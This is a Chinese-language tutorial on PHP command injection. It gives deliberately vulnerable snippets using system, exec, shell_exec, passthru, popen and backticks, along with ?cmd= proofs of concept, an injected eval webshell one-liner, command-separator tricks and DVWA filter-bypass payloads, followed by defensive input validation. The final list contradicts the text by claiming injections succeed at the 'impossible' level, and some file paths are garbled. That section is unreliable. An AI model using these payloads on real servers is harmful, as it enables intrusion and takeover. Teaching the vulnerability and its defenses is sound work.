命令注入,又称命令执行漏洞。(RCE,remote command execute)
1. 漏洞原理
成因:程序员使用后端脚本语言(如:PHP、ASP)开发应用程序的过程中,虽然脚本语言快速、方便,但也面临着一些问题,如:无法接触底层。如开发一些企业级的应用时需要去调用一些外部程序,而当调用这些外部程序(系统shell命令或者exe等可执行文件)时,就会用到一些函数去执行系统命令。
原理:web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。
造成命令注入(命令执行)的条件:
-
用户输入作为拼接
-
没有足够的过滤
-
web应用源码中有相关的敏感函数
2. 漏洞危害
-
继承web服务器程序权限(web用户权限),便可去执行系统命令
-
继承web服务器权限,便可读写文件等
-
反弹shell
-
控制整个网站
-
控制整个服务器
3. PHP常见的敏感函数和语句
以下是一些能将字符串当作系统命令来执行的PHP函数。
3.1 system()
system()函数能够将字符串作为OS命令执行,并自带输出到当前页面的功能。
最简单的存在system()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str);
}
?>
POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。
3.2 exec()
exec()函数也能将字符串作为OS命令执行,但需要手动输出执行结果。
最简单的存在exec()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str);
}
?>
POC:可以提交参数 ?cmd=ipconfig >> 1.txt 作为POC进行注入测试。
注意:exec()不但自带输出结果到当前页面的功能,且即便使用print打印,返回的输出结果也是有限的。故采可用>>来将结果导入到一个文件里,再查看文件即可。
3.3 shell_exec()
shell_exec()函数也能将字符串作为OS命令执行,但需要手动输出执行结果。
最简单的存在shell_exec()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print shell_exec($str);
}
?>
POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。
3.4 passthru()
passthru()函数也能将字符串作为OS命令执行,并自带输出到当前页面的功能。
最简单的存在passthru()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
passthru($str);
}
?>
POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。
3.5 popen()
popen()也能够执行OS命令,但是该函数不返回命令结果,而是返回一个文件指针。
popen()函数用来打开进程文件指针,打开一个该进程的管道,接下来便可以对该进程进行操作。
popen(command,mode)
command:必需。规定要执行的命令。
mode:必需。选择模式。可能的值:
r:只读
w:只写(打开并清空已有文件或创建一个新文件)
最简单的存在popen()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
popen($str,'r');
}
?>
POC:可以提交参数 ?cmd=ipconfig >> 1.txt 作为POC进行注入测试。
注意:popen()返回的是一个文件指针,故采可用>>来将结果导入到一个文件里,再查看文件即可。
3.6 反引号
反引号[``]内的字符串也会被解析成OS命令。
最简单的存在反引号[``]命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
}
?>
POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。
4. 漏洞利用
命令注入漏洞,攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。
以下是几种常见的利用方式,但利用方式不止这些,我们可以进行任何shell可以执行的操作。
-
直接获取webshell
例如可以写入一句话木马: ?cmd=echo "<?php @eval($_REQUEST[777]); ?>" > D:phpstudyWWWwebshell.php
-
显示当前路径
例如可以提交参数 ?cmd=cd 来查看当前路径。
-
读文件
例如:?cmd=type c:windowssystem32driversetchosts,来查看系统hosts文件。
-
写文件
例如可以提交参数 ?cmd=echo "<?php phpinfo(); ?>" > D:softwareshell.php
以下是在注入点用来执行多条语句的分割参数:
-
| # 管道符号(竖线)作用是将符号前的进程输出,并作为符号后进程的输入。此处也可以用于执行多条命令
用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2,并且只打印Command 2执行的结果
-
|| # 可同时执行多条命令,当碰到执行正确的命令时,将不再执行后面的命令。相当于‘或’,出现一个正确就行。
-
&& # 可同时执行多条命令,当碰到执行错误的命令时,将不再执行后面的命令。相当于‘与’,出现一个错误就不行。
-
& # 同时执行多条命令,不管命令是否执行成功
如:客户端页面是一个用来给客户指定一个目标主机并发送ping它的页面,所以此处很可能存在命令注入漏洞。
服务端源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
} //若是windows就直接ping,否则linux一类的得加-c 4来停止ping命令。
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
?>
我们可以提交参数 ?Submit=Submit&ip=192.168.1.1|net user 来进行POC检测。
5. 漏洞防御
-
尽量减少能命令执行的函数的使用,允许的话可直接在php的配置文件php.ini中禁用
-
在使用命令执行的函数之前,首先对用户输入参数进行过滤
-
参数的值尽量使用引号包裹,并在拼接之前调用addslashes进行转义
以下是一个过滤严格,不存在命令注入漏洞的服务器端源代码(核心):
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
相关过滤机制介绍:
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。以下是相关函数介绍:
-
stripslashes(string)
stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
-
explode(separator,string,limit)
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
-
is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
-
generateSessionToken()和checkToken()
generateSessionToken()用来生成Token,checkToken()则用来检查Token是否正确和一致。
6. 漏洞实例
DVWA平台的实验command injection模块:
low级别:
-
127.0.0.1|whoami # 注入命令成功
-
127.0.0.1&whoami # 注入命令成功
-
127.0.0.1&&whoami # 注入命令成功
-
127.0.0.1||whoami # 注入命令成功
medium级别:
-
127.0.0.1|whoami # 注入命令成功
-
127.0.0.1&whoami # 注入命令成功
-
127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。
-
127.0.0.1||whoami # 注入命令成功
-
127.0.0.1&;&ipconfig # 注入命令成功
high级别:
-
127.0.0.1|whoami # 注入命令成功,因为源码过滤的是'| '(竖线+空格),故我们不在竖线后加空格就可绕开过滤。
-
127.0.0.1&whoami # 注入命令不成功
-
127.0.0.1&&whoami # 注入命令不成功
-
127.0.0.1||whoami # 注入命令不成功
impossible级别:
-
127.0.0.1|whoami # 注入命令成功
-
127.0.0.1&whoami # 注入命令成功
-
127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。
-
127.0.0.1||whoami # 注入命令成功
-